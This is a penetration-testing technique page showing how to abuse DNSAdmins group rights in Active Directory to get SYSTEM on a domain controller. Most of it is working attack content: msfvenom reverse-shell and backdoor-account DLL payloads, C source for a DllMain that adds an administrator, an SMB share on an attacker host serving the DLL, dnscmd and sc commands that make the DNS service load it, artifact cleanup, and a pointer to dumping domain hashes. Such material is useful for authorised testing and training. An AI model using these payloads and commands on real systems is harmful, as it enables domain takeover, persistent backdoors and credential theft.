# DNSAdmins Privilege Escalation

> Exploit the DNSAdmins group in Active Directory to load a malicious DLL via DNS service, achieving SYSTEM-level privilege escalation on domain controllers.

- **URL:** https://hackindex.io/platforms/active-directory/privilege-escalation/dnsadmins-privilege-escalation
- **Path:** Active Directory > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation.md)
- **Published:** 2026-06-09
- **Updated:** 2026-08-11

Members of the DNSAdmins group can configure the DNS service via RPC. One setting, `ServerLevelPluginDll`, specifies a DLL path the DNS service loads at startup. Because DNS runs as SYSTEM on domain controllers, loading a malicious DLL executes arbitrary code as SYSTEM without requiring Domain Admin rights first.

- Confirm DNSAdmins membership on the compromised account
- Build a payload DLL (reverse shell or local admin creation)
- Host the DLL on an attacker-controlled SMB share
- Set `ServerLevelPluginDll` to the UNC path via `dnscmd.exe`
- Restart the DNS service to trigger DLL load as SYSTEM

## Confirm DNSAdmins membership

**Check DNSAdmins group membership**

```bash
# List DNSAdmins members
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --groups | grep -i dns

# Full member list via bloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DNSAdmins" --attr member
# LDAP  10.10.10.10  389  DC01  DNSAdmins  membercount: 2
# member: CN=jsmith,CN=Users,DC=corp,DC=local
```

## Create the malicious DLL

Build a DLL that runs a reverse shell or adds a local administrator. The DLL executes as SYSTEM on the DC when the DNS service loads it.

**Build payload DLL with msfvenom**

```bash
# Reverse shell: start listener before triggering: nc -nlvp $LPORT
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o dns_plugin.dll

# Add local admin: no outbound connection needed
msfvenom -p windows/x64/exec CMD="net user backdoor Password123! /add && net localgroup administrators backdoor /add" -f dll -o dns_plugin.dll
```

Cross-compiling from C produces a smaller DLL and triggers fewer AV detections than msfvenom:

```c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("net user backdoor Password123! /add");
        system("net localgroup administrators backdoor /add");
    }
    return TRUE;
}
```

**Cross-compile from C**

```bash
x86_64-w64-mingw32-gcc -shared -o dns_plugin.dll dns_plugin.c
```

## Host the DLL via SMB

The DNS service reads the DLL from a UNC path. Serve it from Kali via impacket-smbserver so the DC pulls it over the network.

**Serve DLL over SMB**

```bash
# Serve current directory as SMB share
impacket-smbserver share . -smb2support

# With credentials (required if anonymous access is blocked)
impacket-smbserver share . -smb2support -username $USER -password $PASSWORD
```

The plugin path for the DNS config will be `\\$LHOST\share\dns_plugin.dll`.

## Configure the plugin and trigger

Run `dnscmd.exe` from a shell where the current token belongs to DNSAdmins. Restarting the DNS service triggers DLL load.

**Set ServerLevelPluginDll and restart DNS**

```powershell
# Set plugin path via DNSAdmins RPC rights
dnscmd.exe $TARGET_IP /config /serverlevelplugindll \\$LHOST\share\dns_plugin.dll

# Restart DNS service to load the DLL
sc.exe \\$TARGET_IP stop dns
sc.exe \\$TARGET_IP start dns
# Registry property serverlevelplugindll successfully reset.
```

Stopping DNS briefly interrupts name resolution across the entire domain. If using a reverse shell payload, start the listener before restarting the service.

**Execute remotely via nxc (from Kali)**

```bash
# Set plugin via exec: requires local admin or DA rights on DC
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "dnscmd.exe /config /serverlevelplugindll \\\\$LHOST\\share\\dns_plugin.dll"

# Restart DNS
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "sc.exe stop dns && sc.exe start dns"
```

## Cleanup

Remove the plugin path after execution to restore normal DNS operation and reduce artifacts.

**Remove plugin configuration**

```powershell
# Clear plugin path
dnscmd.exe $TARGET_IP /config /serverlevelplugindll ""

# Or delete directly from registry
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f

# Restart DNS to apply
sc.exe \\$TARGET_IP stop dns
sc.exe \\$TARGET_IP start dns
```

With SYSTEM on the DC, proceed to [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover) to dump all domain hashes.

## References

- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - remote exec for dnscmd and DNS service control on domain controller
- [Impacket: GitHub](https://github.com/fortra/impacket) - smbserver for hosting DLL over SMB for DC to pull
- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - DNSAdmins group member enumeration
